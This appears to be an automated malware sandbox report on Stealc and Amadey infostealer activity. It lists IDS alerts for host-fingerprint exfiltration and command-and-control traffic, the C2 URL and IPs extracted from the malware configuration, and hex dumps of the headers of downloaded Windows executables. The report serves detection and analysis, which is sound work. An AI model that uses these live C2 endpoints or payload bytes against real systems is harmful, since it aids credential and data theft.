Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50090 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50094 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50091

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 16:24:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 